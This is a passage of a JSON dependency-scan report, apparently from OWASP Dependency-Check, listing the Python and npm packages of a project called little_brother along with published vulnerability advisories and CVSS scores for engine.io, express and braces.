              "url": "https:\/\/github.com\/micromatch\/braces\/issues\/35",
              "name": "https:\/\/github.com\/micromatch\/braces\/issues\/35"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-4068",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-4068"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/devhub.checkmarx.com\/cve-details\/CVE-2024-4068",
              "name": "https:\/\/devhub.checkmarx.com\/cve-details\/CVE-2024-4068"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/braces\/commit\/415d660c3002d1ab7e63dbf490c9851da80596ff",
              "name": "https:\/\/github.com\/micromatch\/braces\/commit\/415d660c3002d1ab7e63dbf490c9851da80596ff"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/braces\/blob\/98414f9f1fabe021736e26836d8306d5de747e0d\/lib\/parse.js#L308",
              "name": "https:\/\/github.com\/micromatch\/braces\/blob\/98414f9f1fabe021736e26836d8306d5de747e0d\/lib\/parse.js#L308"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/braces\/pull\/37",
              "name": "https:\/\/github.com\/micromatch\/braces\/pull\/37"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/micromatch\/braces\/pull\/40",
              "name": "https:\/\/github.com\/micromatch\/braces\/pull\/40"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-grv7-fg5c-xmjg",
              "name": "https:\/\/github.com\/advisories\/GHSA-grv7-fg5c-xmjg"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:braces:\\<3.0.3:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "coverage:7.3.2",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:coverage\/7.3.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "coverage"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "coverage"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "7.3.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/coverage@7.3.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/coverage@7.3.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "coverage:7.3.2",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:coverage\/7.3.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "coverage"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "coverage"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "7.3.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/coverage@7.3.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/coverage@7.3.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "coverage_html.js",
      "filePath": "\/builds\/mr\/little_brother\/htmlcov\/coverage_html.js",
      "md5": "a1ff14a2a109fc4b0b67d8fe4e5c54bc",
      "sha1": "225bc47a45d431af272ad3eca3ce83330c26dff8",
      "sha256": "b9fe6faf811b0e1c68329a00f451f062b76107cb1f9ba11eee782d62948b1a7f",
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": true,
      "fileName": "distro:1.8.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:distro\/1.8.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "distro"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "distro"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.8.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/distro@1.8.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/distro@1.8.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "distro:1.8.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:distro\/1.8.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "distro"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "distro"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.8.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/distro@1.8.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/distro@1.8.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "engine.io:6.4.1",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?engine.io",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "engine.io"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "engine.io"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "6.4.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/engine.io@6.4.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/engine.io@6.4.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2023-31125",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 6.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "LOW",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-248"
          ],
          "description": "Engine.IO is the implementation of transport-based cross-browser\/cross-device bi-directional communication layer for Socket.IO. An uncaught exception vulnerability was introduced in version 5.1.0 and included in version 4.1.0 of the `socket.io` parent package. Older versions are not impacted. A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process. This impacts all the users of the `engine.io` package, including those who use depending packages like `socket.io`. This issue was fixed in version 6.4.2 of Engine.IO. There is no known workaround except upgrading to a safe version.\n",
          "notes": "",
          "references": [
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2023-31125?component-type=npm&component-name=engine.io&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2023-31125] CWE-248: Uncaught Exception"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2023-31125",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2023-31125"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/advisories\/GHSA-q9mw-68c2-j6m5",
              "name": "https:\/\/github.com\/advisories\/GHSA-q9mw-68c2-j6m5"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:engine.io:6.4.1:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-q9mw-68c2-j6m5",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 6.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "LOW",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-248"
          ],
          "description": "### Impact\n\nA specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.\n\n```\nTypeError: Cannot read properties of undefined (reading 'handlesUpgrades')\n    at Server.onWebSocket (build\/server.js:515:67)\n```\n\nThis impacts all the users of the [`engine.io`](https:\/\/www.npmjs.com\/package\/engine.io) package, including those who uses depending packages like [`socket.io`](https:\/\/www.npmjs.com\/package\/socket.io).\n\n### Patches\n\nA fix has been released today (2023\/05\/02): [6.4.2](https:\/\/github.com\/socketio\/engine.io\/releases\/tag\/6.4.2)\n\nThis bug was introduced in version 5.1.0 and included in version 4.1.0 of the `socket.io` parent package. Older versions are not impacted.\n\nFor `socket.io` users:\n\n| Version range               | `engine.io` version | Needs minor update?                                                                                    |\n|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|\n| `socket.io@4.6.x`           | `~6.4.0`            | `npm audit fix` should be sufficient                                                                   |\n| `socket.io@4.5.x`           | `~6.2.0`            | Please upgrade to `socket.io@4.6.x`                                                                    |\n| `socket.io@4.4.x`           | `~6.1.0`            | Please upgrade to `socket.io@4.6.x`                                                                    |\n| `socket.io@4.3.x`           | `~6.0.0`            | Please upgrade to `socket.io@4.6.x`                                                                    |\n| `socket.io@4.2.x`           | `~5.2.0`            | Please upgrade to `socket.io@4.6.x`                                                                    |\n| `socket.io@4.1.x`           | `~5.1.1`            | Please upgrade to `socket.io@4.6.x`                                                                    |\n| `socket.io@4.0.x`           | `~5.0.0`            | Not impacted |\n| `socket.io@3.1.x`           | `~4.1.0`            | Not impacted |\n| `socket.io@3.0.x`           | `~4.0.0`            | Not impacted |\n| `socket.io@2.5.0`           | `~3.6.0`            | Not impacted |\n| `socket.io@2.4.x` and below | `~3.5.0`            | Not impacted |\n\n### Workarounds\n\nThere is no known workaround except upgrading to a safe version.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [`engine.io`](https:\/\/github.com\/socketio\/engine.io)\n\nThanks to Thomas Rinsma from Codean for the responsible disclosure.\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-31125",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-31125"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/engine.io\/security\/advisories\/GHSA-q9mw-68c2-j6m5",
              "name": "https:\/\/github.com\/socketio\/engine.io\/security\/advisories\/GHSA-q9mw-68c2-j6m5"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/security.netapp.com\/advisory\/ntap-20230622-0002\/",
              "name": "https:\/\/security.netapp.com\/advisory\/ntap-20230622-0002\/"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/engine.io\/commit\/fc480b4f305e16fe5972cf337d055e598372dc44",
              "name": "https:\/\/github.com\/socketio\/engine.io\/commit\/fc480b4f305e16fe5972cf337d055e598372dc44"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-q9mw-68c2-j6m5",
              "name": "https:\/\/github.com\/advisories\/GHSA-q9mw-68c2-j6m5"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/engine.io\/releases\/tag\/6.4.2",
              "name": "https:\/\/github.com\/socketio\/engine.io\/releases\/tag\/6.4.2"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:engine.io:\\>\\=5.1.0\\<6.4.2:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "express:4.19.2",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?express",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "express"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "express"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "4.19.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/express@4.19.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/express@4.19.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NPM",
          "name": "GHSA-qw6h-vgh9-j6wx",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 5.0,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "LOW",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "### Impact\n\nIn express <4.20.0, passing untrusted user input - even after sanitizing it - to `response.redirect()` may execute untrusted code\n\n### Patches\n\nthis issue is patched in express 4.20.0\n\n### Workarounds\n\nusers are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist\n\n### Details\n\nsuccessful exploitation of this vector requires the following:\n\n1. The attacker MUST control the input to response.redirect()\n1. express MUST NOT redirect before the template appears\n1. the browser MUST NOT complete redirection before:\n1. the user MUST click on the link in the template\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-qw6h-vgh9-j6wx",
              "name": "https:\/\/github.com\/advisories\/GHSA-qw6h-vgh9-j6wx"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/expressjs\/express\/security\/advisories\/GHSA-qw6h-vgh9-j6wx",
              "name": "https:\/\/github.com\/expressjs\/express\/security\/advisories\/GHSA-qw6h-vgh9-j6wx"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/expressjs\/express\/commit\/54271f69b511fea198471e6ff3400ab805d6b553",
              "name": "https:\/\/github.com\/expressjs\/express\/commit\/54271f69b511fea198471e6ff3400ab805d6b553"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-43796",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-43796"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:express:\\<4.20.0:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-43796",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 4.699999809265137,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "Express.js minimalist web framework for node. In express < 4.20.0, passing untrusted user input - even after sanitizing it - to response.redirect() may execute untrusted code. This issue is patched in express 4.20.0.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/advisories\/GHSA-qw6h-vgh9-j6wx",
              "name": "https:\/\/github.com\/advisories\/GHSA-qw6h-vgh9-j6wx"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-43796?component-type=npm&component-name=express&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-43796] CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-43796",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-43796"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:express:4.19.2:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask-babel:3.1.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:flask-babel\/3.1.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask-babel"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask-babel"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.1.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-babel@3.1.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-babel@3.1.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask-babel:3.1.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:flask-babel\/3.1.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask-babel"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask-babel"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.1.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-babel@3.1.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-babel@3.1.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask-login:0.6.3",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:flask-login\/0.6.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask-login"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask-login"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.6.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-login@0.6.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-login@0.6.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask-login:0.6.3",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:flask-login\/0.6.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask-login"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask-login"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.6.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-login@0.6.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-login@0.6.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask-login:0.6.3",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:flask-login\/0.6.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask-login"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask-login"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.6.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-login@0.6.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-login@0.6.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask-login:0.6.3",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:flask-login\/0.6.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask-login"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask-login"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.6.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-login@0.6.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-login@0.6.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask-migrate:4.0.5",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:flask-migrate\/4.0.5",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask-migrate"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask-migrate"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "4.0.5"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-migrate@4.0.5",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-migrate@4.0.5?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask-migrate:4.0.5",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:flask-migrate\/4.0.5",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask-migrate"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask-migrate"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "4.0.5"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-migrate@4.0.5",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-migrate@4.0.5?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask-wtf:1.2.1",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:flask-wtf\/1.2.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask-wtf"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask-wtf"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.2.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-wtf@1.2.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-wtf@1.2.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask-wtf:1.2.1",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:flask-wtf\/1.2.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask-wtf"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask-wtf"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.2.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask-wtf@1.2.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask-wtf@1.2.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask:2.3.3",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/dist\/some-flask-helpers-0.2.6.tar.gz\/some-flask-helpers-0.2.6.tar\/some-flask-helpers-0.2.6\/requirements.txt:flask\/2.3.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask@2.3.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask@2.3.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask:2.3.3",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/requirements.txt:flask\/2.3.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask@2.3.3",
          "confidence": "HIGHEST",
